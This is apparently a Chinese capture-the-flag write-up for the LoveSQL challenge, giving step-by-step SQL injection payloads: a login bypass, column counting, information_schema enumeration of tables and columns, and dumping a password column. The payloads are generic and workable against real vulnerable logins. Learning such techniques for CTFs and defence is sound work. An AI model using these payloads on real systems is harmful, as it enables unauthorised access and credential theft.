sql注入 [极客大挑战 2019]LoveSQL 1

打开题目

几次尝试,发现输1 1",页面都会回显NO,Wrong username password!!!

只有输入1',页面报错,说明是单引号的字符型注入

那我们万能密码试试能不能登录

1' or 1=1 #

成功登录

得到账号和密码

我们登录一下发现什么也没有

爆破列名字段数

1' order by 4 # 页面报错

但是1' order by 3 #时

页面没有报错,说明列名字段数为3

爆破数据显示位

1' union select 1,2,3 #

可以得到数据显示位为2和3

接着我们爆破数据库名

1' union select 1,2,database() #

得到数据库名为geek

爆破表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

当前数据库下的所有表名有

爆破列名

在这里我们先试试l0ve1ysq1表

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

得到其表下有三个字段

我们直接爆破password字段试试下面有没有flag

1' union select 1,2,group_concat(password) from l0ve1ysq1 #

得到数据

直接查看源代码得到flag

相关推荐
风123456789~35 分钟前
【OceanBase专栏】脚本调用OB过程实验
数据库·oceanbase
n***s9095 小时前
【MySQL基础篇】概述及SQL指令:DDL及DML
sql·mysql·oracle
爬山算法5 小时前
Redis(158)Redis的主从同步问题如何解决?
数据库·redis·缓存
jnrjian7 小时前
FRA中 keep的backup set 不保险
sql·oracle
2501_941148158 小时前
多语言微服务架构与边缘计算技术实践:Python、Java、C++、Go深度解析
数据库
w***z508 小时前
MYSQL 创建索引
数据库·mysql
章鱼哥7309 小时前
[特殊字符] SpringBoot 自定义系统健康检测:数据库、Redis、表统计、更新时长、系统性能全链路监控
java·数据库·redis
5***E6859 小时前
MySQL:drop、delete与truncate区别
数据库·mysql
记得记得就1519 小时前
【MySQL数据库管理】
数据库·mysql·oracle
Austindatabases10 小时前
给PG鸡蛋里面挑骨头--杭州PostgreSQL生态大会
数据库·postgresql